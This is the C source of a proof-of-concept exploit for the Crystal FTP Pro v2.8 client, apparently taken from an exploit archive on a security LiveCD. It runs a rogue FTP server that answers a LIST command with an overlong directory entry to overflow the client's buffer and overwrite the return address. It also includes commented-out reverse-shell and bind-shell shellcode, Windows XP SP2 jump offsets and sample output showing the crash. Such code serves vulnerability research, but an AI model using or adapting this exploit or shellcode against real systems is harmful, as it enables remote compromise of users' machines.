home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / crystalftp / crystalPoC.c < prev   
C/C++ Source or Header  |  2005-02-12  |  17KB  |  505 lines

  1.  
  2.  
  3. /*
  4. 12/23/2004
  5. NOTES: this piece of code is supposed to be PoC !
  6.        -Target Buffer Size: 328-68-4 is about 254 bytes
  7.        -RET Addr Space: 0x0012f496 to 0x0012f594
  8.        -I tried some register jumps on WINXP PRO SP2
  9.         (see offset1 and offset2)
  10.        -Suggestions? Mail me! cybertronic@gmx.net
  11.         Greetz fly to my girlfriend YASMIN H.
  12.  
  13.                                                     ╝
  14.                                                    ╝M
  15.                    M                              ╝MMM
  16.                    MMm                           ╝MMMM
  17.                    M$$MMm                       ╝MMMMM.
  18.                    MM$$MMMMm                   MMMMMMMM
  19.                    `MM$$MMMMMMm               4MMMM$$MM
  20.                     MMM$$MMMMMMMMm           ┤MMMM$$MMM
  21.                      MMM$$$MMMMMMMMm         mMMMM$MMMM
  22.                       `MMM$$$MMMMMMMm        MMMM$MMMM┤
  23.                         MMMM$$$MMMMMMMm      MMM$$MMM┤
  24.                          `MMMMMMMMMMMMMm     MMMMMMM┤
  25.                            `MMMMMMMMMMMMMm   MMMMMM
  26.                               `MMMMMMMMMMMM  MMMMM
  27.                                  `MMMMMMMMMM MMMMM
  28.                                     `MMMMMMMMMMMM
  29.                                       MMMMMMMMMMM
  30.                                mmMMMMMMMMMMMMMMMMM
  31.                            mmMMMMMMMMMMMMMMMMMMMMMM
  32.                           ╝MMM#MMMMMMMMMMMMMMMMMMMMm
  33.                         4MMM<║ >MMMMMMMMMMMMMMMMMMMM
  34.                        MMMMMm_ mMMMMMMMMMMMMMMMMMMMM
  35.                       4MMMMMMMMMMMMMMMMMMMMMMMMMMMMM
  36.                        MMMMMMMMMMMMMMMMMMMMMMMMMMMMM
  37.                        MMMMMMMMMMMMMMMMMMMMMMMMMMMMM
  38.                         MMMMMMMMMMMMMMMMMMMMMMMMMMMM
  39.        ╝Mn               ╝MMMMMMMMMMMMMMMMMMMMMMMMM            ╝Mnn
  40.        nM                  `MMMMMMMMMMMMMMMMMMMMMM┤              n╝
  41.         `╝                    MMMMMMMMMMMMMMMMM╝                n┤
  42.                                      MMMMMM╝
  43.                                     mtr╝
  44.  
  45.  
  46.      mMMM           nmM                         mM
  47.    mM╝┤  M          ' M                          n
  48.  mM$                 nM                       n╝MMn╝─
  49. 4M               m   ╝M                      N   ╝                           ╝`
  50. m╝       `n╝    mM  NM┤                         NM
  51. mM        mMm  nm   M┤╝M─╝     n╝Mm   ╝n  xn─,  ╝   ╝n  xn─  ╝Mm   Mn n╝     nM   nMm
  52.  mM        `mMM┤   nM     M   nM  ,`   ╝n┤  y   M    ╝n┤  y nM  ╝   nM  ─    ─   ╝
  53.   M╝         M'    ╝─      M  n.,┤     nm      nM    nM     n   M   ╝   ─    ╝  n
  54.    MM╝  mM   M    nM ─    M┤  n    ,  nM       ╝─   nM      M  nM   M   M   M┤  M   n
  55.      MMM╝   M┤   nM   M──M     n╝nN  ╝M       nM   ╝M       `╝M┤   ┤╝  .N  nM    ╝nM┤
  56.            M┤
  57.          n┤                                              cybertronic 2oo5
  58.         ┤                                        ________________
  59.                                                     ----------------------/
  60.  
  61.  
  62.  
  63.                 MMMMMMMMm                            mMMMMMMM╝
  64.              ┤MM$MMMMMMMMMm                        mMMMMMMMMM$MM`
  65.              MMMMMMMMMMMMMMMm                    mMMMMMMMMMMMMMMM
  66.              MMMMMMMMMMMMMMMMMM                MMMMMMMMMMMMMMMMMM
  67.              MMMMMMMMMMMMMMMMMMMM            MMMMMMMMMMMMMMMMMMMM
  68.                `MMMMMMMMMMMMMMMMMM          MMMMMMMMMMM(c)MMMM┤
  69.  
  70.                 ║╒═─··  just want to say love you dad!  ··─═╒║
  71.  
  72. ---snip---
  73.  
  74. cybertronic@ctronic:~/poc> gcc -o crystal_expl crystal_expl.c
  75. cybertronic@ctronic:~/poc> ./crystal_expl 192.168.2.101
  76.  
  77. ### # # ###  ### ###  ### ###  ### #   # # ###
  78. #   # # #  # #   #  #  #  #  # # # ##  # # #
  79. #   # # ###  ### ###   #  ###  # # # # # # #
  80. #    #  #  # #   # #   #  # #  # # #  ## # #
  81. ###  #  ###  ### #  #  #  #  # ### #   # # ###
  82.                 cybertronic@gmx.net
  83.                   ----------(c) 2005----------
  84.  
  85. Crystal FTP Pro v2.8 PoC
  86.  
  87. [*] Creating socket...OK!
  88. [*] Listening...OK!
  89. [*] Local IP: 192.168.2.101
  90. [*] Incomming connection from:   192.168.2.102
  91. [*] Sending Welcome Message...OK!
  92. [*] Getting Login Information
  93. --> Reading USER...OK!
  94. --> Reading PASS...OK!
  95.     USER LOGGED IN!
  96. [*] Proceeding...
  97. --> Reading cmd...OK!
  98. --> Reading cmd...OK!
  99. --> Reading cmd...OK!
  100. [*] Entering Passive Mode...
  101. [*] Creating socket...OK!
  102. [*] Listening...OK!
  103. [*] Passive connection established!
  104. --> Reading cmd...OK!
  105. [*] User is trying to use "LIST" command
  106. [*] Creating bad packet...OK!
  107. [*] Sending bad packet [328 bytes]...OK!
  108. [*] Confirming...OK!
  109. --> Reading cmd...FAILED! [client crashed]
  110.  
  111. cybertronic@ctronic:~/poc>
  112.  
  113. ---snip---
  114.  
  115. */
  116.  
  117. #include <stdio.h>
  118. #include <strings.h>
  119. #include <signal.h>
  120. #include <netinet/in.h>
  121. #include <netdb.h>
  122.  
  123. #define RED    "\E[31m\E[1m"
  124. #define GREEN    "\E[32m\E[1m"
  125. #define YELLOW    "\E[33m\E[1m"
  126. #define BLUE    "\E[34m\E[1m"
  127. #define NORMAL    "\E[m"
  128.  
  129. #define PORT 1337
  130. #define PASV 31337
  131. #define BACKLOG 5
  132.  
  133. /*
  134. //316 bytes
  135. unsigned char reverseshell[] =
  136. "\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
  137. "\xEB\x05\xE8\xEB\xFF\xFF\xFF"
  138. "\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
  139. "\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x02\x99\x99\x99"
  140. "\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
  141. "\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
  142. "\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xD9\xC9"
  143. "\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x9D"
  144. "\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD3\xF1\xFA"
  145. "\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xF3\x8C\xC0\x32"
  146. "\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10"
  147. "\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8"
  148. "\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66"
  149. "\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xDC\xA5"
  150. "\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\xAA\x50\xD0\xD8"
  151. "\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A"
  152. "\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\xBD\x9A\x44\xFF\x12"
  153. "\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A"
  154. "\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C"
  155. "\x57\x76\x57\x79\xF9\x52\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33"
  156. "\xF9\x7E\xE0\x5F\xE0";
  157.  
  158. //404 bytes
  159. unsigned char bindshell[] =
  160. "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA"
  161. "\xEB\x05\xE8\xEB\xFF\xFF\xFF"
  162. "\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
  163. "\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
  164. "\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
  165. "\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
  166. "\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
  167. "\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
  168. "\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
  169. "\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
  170. "\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
  171. "\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x9D\x4B\xAA\x59\x10\xDE\x9D"
  172. "\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
  173. "\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
  174. "\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
  175. "\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
  176. "\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
  177. "\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
  178. "\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
  179. "\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
  180. "\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
  181. "\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
  182. "\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
  183. "\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
  184. "\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
  185. "\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";
  186. */
  187.  
  188. void auth ( int s );
  189. void header ();
  190. void handle_cmd ( int s, int connfd, char* ip );
  191. char* get_cmd ( int s );
  192. int isip ( char* ip );
  193.  
  194. int
  195. main ( int argc, char* argv[] )
  196. {
  197.     int listenfd, connfd;
  198.     char* ip;
  199.     pid_t childpid;
  200.     socklen_t clilen;
  201.     struct sockaddr_in cliaddr, servaddr;
  202.  
  203.     if ( argc != 2 )
  204.     {
  205.         printf ( RED "[!] Usage: %s LOCAL_IP\n" NORMAL, argv[0] );
  206.         exit ( 1 );
  207.     }
  208.     if ( isip ( argv[1] ) != 0 )
  209.     {
  210.         printf ( RED "[!] Enter Valid IP\n" NORMAL );
  211.         exit ( 1 );
  212.     }
  213.     system ( "clear" );
  214.     header ();
  215.     printf ( "[*] Creating socket..." );
  216.     if ( ( listenfd = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
  217.     {
  218.             printf ( RED "FAILED!\n" NORMAL );
  219.             exit ( 1 );
  220.     }
  221.     printf ( GREEN "OK!\n" NORMAL );
  222.     bzero ( &servaddr, sizeof ( servaddr ) );
  223.     servaddr.sin_family = AF_INET;
  224.     servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
  225.     servaddr.sin_port = htons ( PORT );
  226.  
  227.     bind ( listenfd, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
  228.     printf ( "[*] Listening..." );
  229.     if ( listen ( listenfd, BACKLOG ) == -1 )
  230.     {
  231.         printf ( RED "FAILED!\n" NORMAL );
  232.         exit ( 1 );
  233.     }
  234.     printf ( GREEN "OK!\n" NORMAL );
  235.  
  236.     for ( ; ; )
  237.     {
  238.         clilen = sizeof ( cliaddr );
  239.  
  240.         if ( ( connfd = accept ( listenfd, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
  241.         {
  242.             close ( listenfd );
  243.             printf ( RED "FAILED!\n" NORMAL );
  244.             exit ( 1 );
  245.         }
  246.  
  247.         if ( ( childpid = fork ( ) ) == 0 )
  248.         {
  249.             close ( listenfd );
  250.             ip = ( char* ) ( argv[1] );
  251.             printf ( "[*] Local IP: %s\n", ip );
  252.             printf ( "[*]" GREEN " Incomming connection from:\t %s\n" NORMAL, inet_ntoa ( cliaddr.sin_addr ) );
  253.             auth ( connfd );
  254.             handle_cmd ( connfd, ( int ) NULL, ip );
  255.         }
  256.         close ( connfd );
  257.     }
  258. }
  259.  
  260. int
  261. isip ( char* ip )
  262. {
  263.     unsigned int a, b, c, d;
  264.  
  265.     sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d );
  266.     if ( a < 1 || a > 255 )
  267.         return ( 1 );
  268.     if ( b < 0 || b > 255 )
  269.         return ( 1 );
  270.     if ( c < 0 || c > 255 )
  271.         return ( 1 );
  272.     if ( d < 0 || d > 255 )
  273.         return ( 1 );
  274.     return ( 0 );
  275. }
  276.  
  277. void
  278. auth ( int s )
  279. {
  280.     char user[32], pass[32], out[128];
  281.  
  282.     printf ( "[*] Sending Welcome Message..." );
  283.     bzero ( &out, 128 );
  284.     strcpy ( out, "220 cybertronicFTP v0.1\r\n" );
  285.     if ( write ( s, out, strlen ( out ) ) <= 0 )
  286.     {
  287.         printf ( RED "\t!!! ERROR: AUTHORIZATION FAILED !!!\n" NORMAL );
  288.         exit ( 1 );
  289.     }
  290.     printf ( GREEN "OK!\n" NORMAL );
  291.     printf ( "[*] Getting Login Information\n" );
  292.     printf ( YELLOW "--> Reading USER..." NORMAL );
  293.     sleep ( 1 );
  294.     if ( read ( s, user, 32 ) <= 0 )
  295.     {
  296.         printf ( RED "FAILED\n" NORMAL );
  297.         exit ( 1 );
  298.     }
  299.     printf ( GREEN "OK!\n" NORMAL );
  300.     sleep ( 1 );
  301.     bzero ( &out, 128 );
  302.     strcpy ( out, "331 Anonymous FTP server, send password though.\r\n" );
  303.     if ( write ( s, out, strlen ( out ) ) <= 0 )
  304.     {
  305.         printf ( RED "\t!!! ERROR: AUTHORIZATION FAILED !!!\n" NORMAL );
  306.         exit ( 1 );
  307.     }
  308.     printf ( YELLOW "--> Reading PASS..." NORMAL );
  309.     sleep ( 1 );
  310.     if ( read ( s, pass, 32 ) <= 0 )
  311.     {
  312.         printf ( RED "FAILED\n" NORMAL );
  313.         exit ( 1 );
  314.     }
  315.     printf ( GREEN "OK!\n" NORMAL );
  316.     sleep ( 1 );
  317.     bzero ( &out, 128 );
  318.     strcpy ( out, "230 Login successful!\r\n" );
  319.     if ( write ( s, out, strlen ( out ) ) <= 0 )
  320.     {
  321.         printf ( RED "\t!!! ERROR: AUTHORIZATION FAILED !!!\n" NORMAL );
  322.         exit ( 1 );
  323.     }
  324.     printf ( GREEN "    USER LOGGED IN!\n" NORMAL );
  325.     printf ( "[*] Proceeding...\n" );
  326. }
  327.  
  328. void
  329. handle_cmd ( int s, int s2, char* ip )
  330. {
  331.  
  332.     int listenfd, connfd;
  333.     int i = 1;
  334.     int tmp[4];
  335.     char* a = NULL;
  336.     pid_t childpid;
  337.     socklen_t clilen;
  338.     struct sockaddr_in cliaddr, servaddr;
  339.     char out[128], evil[512], addr[32];
  340.     char* cmd;
  341.     unsigned long offset1 = 0x77e92828;
  342.     unsigned long offset2 = 0x77e6271c;
  343.     unsigned long offset3 = 0xdeadc0de;
  344.  
  345.     while ( 1 )
  346.     {
  347.         cmd = get_cmd ( s );
  348.         if ( strncmp ( cmd, "PWD", 3 ) == 0 )
  349.         {
  350.             bzero ( &out, 128 );
  351.             strcpy ( out, "257 \"/\" is current directory.\r\n" );
  352.             if ( write ( s, out, strlen ( out ) ) <= 0 )
  353.             {
  354.                 printf ( RED "!!! ERROR: COMMAND HANDLING FAILED !!!\n" NORMAL );
  355.                 exit ( 1 );
  356.             }
  357.         }
  358.         else if ( strncmp ( cmd, "CWD", 3 ) == 0 )
  359.         {
  360.             bzero ( &out, 128 );
  361.             strcpy ( out, "257 \"/\" is current directory.\r\n" );
  362.             if ( write ( s, out, strlen ( out ) ) <= 0 )
  363.             {
  364.                 printf ( RED "!!! ERROR: COMMAND HANDLING FAILED !!!\n" NORMAL );
  365.                 exit ( 1 );
  366.             }
  367.         }
  368.         else if ( strncmp ( cmd, "TYPE", 4 ) == 0 )
  369.         {
  370.             bzero ( &out, 128 );
  371.             strcpy ( out, "200 Type set to A..\r\n" );
  372.             if ( write ( s, out, strlen ( out ) ) <= 0 )
  373.             {
  374.                 printf ( RED "!!! ERROR: COMMAND HANDLING FAILED !!!\n" NORMAL );
  375.                 exit ( 1 );
  376.             }
  377.         }
  378.         else if ( strncmp ( cmd, "PASV", 4 ) == 0 )
  379.         {
  380.             bzero ( &addr, 32 );
  381.             a = (char*)strtok ( ip, "." );
  382.             tmp[0] = (int)a;
  383.             while ( a != NULL)
  384.             {
  385.                 a = (char*)strtok ( NULL, "." );
  386.                 tmp[i] = (int)a;
  387.                 i++;
  388.             }
  389.             bzero ( &out, 128 );
  390.             sprintf( out, "227 Entering Passive Mode. (%s,%s,%s,%s,122,105).\r\n", tmp[0], tmp[1], tmp[2], tmp[3] );
  391.             if ( write ( s, out, strlen ( out ) ) <= 0 )
  392.             {
  393.                 printf ( RED "!!! ERROR: COMMAND HANDLING FAILED !!!\n" NORMAL );
  394.                 exit ( 1 );
  395.             }
  396.             printf ( "[*] Entering Passive Mode...\n" );
  397.             printf ( "[*] Creating socket..." );
  398.             if ( ( listenfd = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
  399.             {
  400.                     printf ( RED "FAILED!\n" NORMAL );
  401.                     exit ( 1 );
  402.             }
  403.             printf ( GREEN "OK!\n" NORMAL );
  404.             bzero ( &servaddr, sizeof ( servaddr ) );
  405.             servaddr.sin_family = AF_INET;
  406.             servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
  407.             servaddr.sin_port = htons ( PASV );
  408.  
  409.             bind ( listenfd, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
  410.             printf ( "[*] Listening..." );
  411.             if ( listen ( listenfd, 1 ) == -1 )
  412.             {
  413.                 printf ( RED "FAILED!\n" NORMAL );
  414.                 exit ( 1 );
  415.             }
  416.             printf ( GREEN "OK!\n" NORMAL );
  417.             clilen = sizeof ( cliaddr );
  418.  
  419.             if ( ( connfd = accept ( listenfd, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
  420.             {
  421.                 close ( listenfd );
  422.                 printf ( RED "FAILED!\n" NORMAL );
  423.                 exit ( 1 );
  424.             }
  425.             close ( listenfd );
  426.             printf ( "[*]" GREEN " Passive connection established!\n" );
  427.             handle_cmd ( s, connfd, addr );
  428.         }
  429.         else if ( strncmp ( cmd, "LIST", 4 ) == 0 )
  430.         {
  431.             printf ( "[*]" GREEN " User is trying to use \"LIST\" command\n" NORMAL );
  432.             printf ( "[*] Creating bad packet..." );
  433.             bzero ( &evil, 512 );
  434.             strcpy ( evil, "-rw-r--r--                              29 Dec 22 13:37 cybertronic." );
  435.             memset ( evil+68, 'A', 254 );
  436.             strncat ( evil, ( unsigned char * ) &offset1, 4 );
  437.             strcat ( evil, "\r\n" );
  438.             printf ( GREEN "OK!\n" NORMAL );
  439.             bzero ( &out, 128 );
  440.             strcpy ( out, "150 Here comes the directory listing.\r\n" );
  441.             if ( write ( s, out, strlen ( out ) ) <= 0 )
  442.             {
  443.                 printf ( RED "FAILED!" NORMAL);
  444.                 exit ( 1 );
  445.             }
  446.             printf ( "[*] Sending bad packet [%i bytes]...", strlen ( evil ) );
  447.             if ( write ( s2, evil, strlen ( evil ) ) <= 0 )
  448.             {
  449.                 printf ( RED "FAILED!" NORMAL);
  450.                 exit ( 1 );
  451.             }
  452.             printf ( GREEN "OK!\n" NORMAL);
  453.             bzero ( &out, 128 );
  454.             strcpy ( out, "226 Transfer ok\r\n" );
  455.             printf ( "[*] Confirming..." );
  456.             if ( write ( s, out, strlen ( out ) ) <= 0 )
  457.             {
  458.                 printf ( RED "FAILED!" NORMAL);
  459.                 exit ( 1 );
  460.             }
  461.             printf ( GREEN "OK!\n" NORMAL);
  462.             close ( s2 );
  463.         }
  464.         else
  465.         {
  466.             bzero ( &out, 128 );
  467.             strcpy ( out, "550 UNKNOWN COMMAND\r\n" );
  468.             if ( write ( s, out, strlen ( out ) ) <= 0 )
  469.             {
  470.                 printf ( RED "!!! ERROR: COMMAND HANDLING FAILED !!!\n" NORMAL );
  471.                 exit ( 1 );
  472.             }
  473.         }
  474.     }
  475. }
  476.  
  477. char*
  478. get_cmd ( int s )
  479. {
  480.     static char cmd[32];
  481.     printf ( YELLOW "--> Reading cmd..." NORMAL );
  482.     if ( read ( s, cmd, 32 ) <= 0 )
  483.     {
  484.         printf ( RED "FAILED! [client crashed]" NORMAL);
  485.         exit ( 1 );
  486.     }
  487.     printf ( GREEN "OK!\n" NORMAL );
  488.     return ( cmd );
  489. }
  490.  
  491. void
  492. header ()
  493. {
  494.     system ( "clear" );
  495.     printf ( RED "### " GREEN "# # " YELLOW "###  " BLUE "### " RED "###  " GREEN "### " YELLOW "###  " BLUE "### " RED "#   # " GREEN "# " YELLOW "###\n" NORMAL);
  496.     printf ( RED "#   " GREEN "# # " YELLOW "#  # " BLUE "#   " RED "#  # " GREEN " #  " YELLOW "#  # " BLUE "# # " RED "##  # " GREEN "# " YELLOW "#  \n" NORMAL);
  497.     printf ( RED "#   " GREEN "# # " YELLOW "###  " BLUE "### " RED "###  " GREEN " #  " YELLOW "###  " BLUE "# # " RED "# # # " GREEN "# " YELLOW "#  \n" NORMAL);
  498.     printf ( RED "#   " GREEN " #  " YELLOW "#  # " BLUE "#   " RED "# #  " GREEN " #  " YELLOW "# #  " BLUE "# # " RED "#  ## " GREEN "# " YELLOW "#  \n" NORMAL);
  499.     printf ( RED "### " GREEN " #  " YELLOW "###  " BLUE "### " RED "#  # " GREEN " #  " YELLOW "#  # " BLUE "### " RED "#   # " GREEN "# " YELLOW "###\n" NORMAL);
  500.     printf ( RED "                cybertronic@gmx.net\n" NORMAL );
  501.     printf ( RED "                  ----------(c) 2005----------\n\n" NORMAL );
  502.     printf ( "Crystal FTP Pro v2.8 PoC\n\n" );
  503. }
  504.  
  505.